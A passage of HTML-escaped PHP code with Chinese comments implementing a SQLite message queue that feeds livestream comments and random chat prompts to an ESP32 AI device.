&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$result&amp;nbsp;=&amp;nbsp;$stmt-&amp;gt;execute();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$insertId&amp;nbsp;=&amp;nbsp;$db-&amp;gt;lastInsertRowID();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db-&amp;gt;close();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;$insertId;
}

//&amp;nbsp;获取下一条待处理消息
function&amp;nbsp;getNextMessage()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db&amp;nbsp;=&amp;nbsp;new&amp;nbsp;SQLite3(DB_FILE);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;查询最早的待处理消息
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt&amp;nbsp;=&amp;nbsp;$db-&amp;gt;prepare(&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SELECT&amp;nbsp;id,&amp;nbsp;message_text,&amp;nbsp;message_type,&amp;nbsp;username,&amp;nbsp;created_at
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FROM&amp;nbsp;message_queue
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WHERE&amp;nbsp;status&amp;nbsp;=&amp;nbsp;&amp;#39;pending&amp;#39;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ORDER&amp;nbsp;BY&amp;nbsp;created_at&amp;nbsp;ASC
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LIMIT&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$result&amp;nbsp;=&amp;nbsp;$stmt-&amp;gt;execute();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$message&amp;nbsp;=&amp;nbsp;$result-&amp;gt;fetchArray(SQLITE3_ASSOC);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;如果找到消息，标记为处理中
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;($message)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$updateStmt&amp;nbsp;=&amp;nbsp;$db-&amp;gt;prepare(&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UPDATE&amp;nbsp;message_queue
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SET&amp;nbsp;status&amp;nbsp;=&amp;nbsp;&amp;#39;processing&amp;#39;,&amp;nbsp;processing_at&amp;nbsp;=&amp;nbsp;CURRENT_TIMESTAMP
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WHERE&amp;nbsp;id&amp;nbsp;=&amp;nbsp;:id
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$updateStmt-&amp;gt;bindValue(&amp;#39;:id&amp;#39;,&amp;nbsp;$message[&amp;#39;id&amp;#39;],&amp;nbsp;SQLITE3_INTEGER);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$updateStmt-&amp;gt;execute();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db-&amp;gt;close();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;$message;
}

//&amp;nbsp;获取随机话题
function&amp;nbsp;getRandomTopic()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$topics&amp;nbsp;=&amp;nbsp;[
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;今天天气真不错呀&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;大家有什么想聊的吗&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;有没有人在看直播呢&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;来个朋友陪我聊聊天吧&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;好无聊啊，有人吗&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;今天直播间好安静呀&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;大家都在忙什么呢&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;有没有新朋友来玩呀&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;老朋友们在哪里&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;来点互动好不好&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;发个666让我看看你们&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;有人想听我唱歌吗&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;今天想和大家分享点什么&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;直播间的氛围好像有点冷清&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;来来来，活跃一下气氛&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;有什么想问我的吗&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;今天过得怎么样呀&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;周末有什么计划吗&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;最近有什么好玩的事情&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;给大家讲个笑话好不好&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$randomIndex&amp;nbsp;=&amp;nbsp;array_rand($topics);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;$topics[$randomIndex];
}

//&amp;nbsp;标记消息为已完成并删除
function&amp;nbsp;markMessageComplete($messageId)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db&amp;nbsp;=&amp;nbsp;new&amp;nbsp;SQLite3(DB_FILE);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;先标记为已完成（可选，用于统计）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt&amp;nbsp;=&amp;nbsp;$db-&amp;gt;prepare(&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UPDATE&amp;nbsp;message_queue
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SET&amp;nbsp;status&amp;nbsp;=&amp;nbsp;&amp;#39;completed&amp;#39;,&amp;nbsp;processed_at&amp;nbsp;=&amp;nbsp;CURRENT_TIMESTAMP
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WHERE&amp;nbsp;id&amp;nbsp;=&amp;nbsp;:id
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt-&amp;gt;bindValue(&amp;#39;:id&amp;#39;,&amp;nbsp;$messageId,&amp;nbsp;SQLITE3_INTEGER);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt-&amp;gt;execute();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;删除已完成的消息
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$deleteStmt&amp;nbsp;=&amp;nbsp;$db-&amp;gt;prepare(&amp;quot;DELETE&amp;nbsp;FROM&amp;nbsp;message_queue&amp;nbsp;WHERE&amp;nbsp;id&amp;nbsp;=&amp;nbsp;:id&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$deleteStmt-&amp;gt;bindValue(&amp;#39;:id&amp;#39;,&amp;nbsp;$messageId,&amp;nbsp;SQLITE3_INTEGER);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$deleteStmt-&amp;gt;execute();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db-&amp;gt;close();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;true;
}

//&amp;nbsp;获取队列统计信息
function&amp;nbsp;getQueueStats()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db&amp;nbsp;=&amp;nbsp;new&amp;nbsp;SQLite3(DB_FILE);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$result&amp;nbsp;=&amp;nbsp;$db-&amp;gt;query(&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SELECT&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;COUNT(*)&amp;nbsp;as&amp;nbsp;total,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SUM(CASE&amp;nbsp;WHEN&amp;nbsp;status&amp;nbsp;=&amp;nbsp;&amp;#39;pending&amp;#39;&amp;nbsp;THEN&amp;nbsp;1&amp;nbsp;ELSE&amp;nbsp;0&amp;nbsp;END)&amp;nbsp;as&amp;nbsp;pending,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SUM(CASE&amp;nbsp;WHEN&amp;nbsp;status&amp;nbsp;=&amp;nbsp;&amp;#39;processing&amp;#39;&amp;nbsp;THEN&amp;nbsp;1&amp;nbsp;ELSE&amp;nbsp;0&amp;nbsp;END)&amp;nbsp;as&amp;nbsp;processing
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FROM&amp;nbsp;message_queue
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stats&amp;nbsp;=&amp;nbsp;$result-&amp;gt;fetchArray(SQLITE3_ASSOC);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db-&amp;gt;close();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;$stats;
}

//&amp;nbsp;清理长时间卡住的处理中消息（防止死锁）
function&amp;nbsp;cleanupStuckMessages($timeoutMinutes&amp;nbsp;=&amp;nbsp;5)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db&amp;nbsp;=&amp;nbsp;new&amp;nbsp;SQLite3(DB_FILE);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt&amp;nbsp;=&amp;nbsp;$db-&amp;gt;prepare(&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UPDATE&amp;nbsp;message_queue
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SET&amp;nbsp;status&amp;nbsp;=&amp;nbsp;&amp;#39;pending&amp;#39;,&amp;nbsp;processing_at&amp;nbsp;=&amp;nbsp;NULL
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WHERE&amp;nbsp;status&amp;nbsp;=&amp;nbsp;&amp;#39;processing&amp;#39;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AND&amp;nbsp;datetime(processing_at,&amp;nbsp;&amp;#39;+&amp;#39;&amp;nbsp;||&amp;nbsp;:timeout&amp;nbsp;||&amp;nbsp;&amp;#39;&amp;nbsp;minutes&amp;#39;)&amp;nbsp;&amp;lt;&amp;nbsp;datetime(&amp;#39;now&amp;#39;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt-&amp;gt;bindValue(&amp;#39;:timeout&amp;#39;,&amp;nbsp;$timeoutMinutes,&amp;nbsp;SQLITE3_INTEGER);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt-&amp;gt;execute();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$affected&amp;nbsp;=&amp;nbsp;$db-&amp;gt;changes();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db-&amp;gt;close();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;$affected;
}

//&amp;nbsp;----------------------&amp;nbsp;主逻辑&amp;nbsp;----------------------

//&amp;nbsp;初始化数据库
initDatabase();

$clientIP&amp;nbsp;=&amp;nbsp;getClientIP();
$action&amp;nbsp;=&amp;nbsp;$_GET[&amp;#39;action&amp;#39;]&amp;nbsp;??&amp;nbsp;&amp;#39;&amp;#39;;

//&amp;nbsp;处理不同的action
switch&amp;nbsp;($action)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;&amp;#39;add&amp;#39;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;添加新消息到队列（POST请求）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;($_SERVER[&amp;#39;REQUEST_METHOD&amp;#39;]&amp;nbsp;!==&amp;nbsp;&amp;#39;POST&amp;#39;)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;http_response_code(405);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;json_encode([&amp;#39;status&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;error&amp;#39;,&amp;nbsp;&amp;#39;message&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;仅支持POST请求&amp;#39;]);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$rawPost&amp;nbsp;=&amp;nbsp;file_get_contents(&amp;#39;php://input&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(empty($rawPost))&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;http_response_code(400);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;json_encode([&amp;#39;status&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;error&amp;#39;,&amp;nbsp;&amp;#39;message&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;POST数据为空&amp;#39;]);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$postData&amp;nbsp;=&amp;nbsp;json_decode($rawPost,&amp;nbsp;true);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(json_last_error()&amp;nbsp;!==&amp;nbsp;JSON_ERROR_NONE)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$postData&amp;nbsp;=&amp;nbsp;[&amp;#39;type&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;comment&amp;#39;,&amp;nbsp;&amp;#39;content&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;$rawPost,&amp;nbsp;&amp;#39;username&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;未知用户&amp;#39;];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$deviceStr&amp;nbsp;=&amp;nbsp;formatToDeviceStr($postData);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$insertId&amp;nbsp;=&amp;nbsp;addMessageToQueue($postData,&amp;nbsp;$deviceStr,&amp;nbsp;$clientIP);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stats&amp;nbsp;=&amp;nbsp;getQueueStats();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;json_encode([
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;status&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;success&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;message&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&amp;#39;消息已加入队列&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;data&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;[
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;queue_id&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;$insertId,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;message&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;$deviceStr,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;#39;queue_stats&amp;#39;&amp;nbsp;=&amp;gt;&amp;nbsp;$stats
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;&amp;#39;next&amp;#39;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;AI设备请求下一条消息（GET请求）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cleanupStuckMessages(5);&amp;nbsp;//&amp;nbsp;清理超过5分钟未完成的消息
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$message&amp;nbsp;=&amp;nbsp;getNextMessage();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;($message)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;返回格式：消息ID|消息内容
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;这样ESP32可以解析出ID用于后续完成通知
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;header(&amp;#39;Content-Type:&amp;nbsp;text/plain;&amp;nbsp;charset=utf-8&amp;#39;);
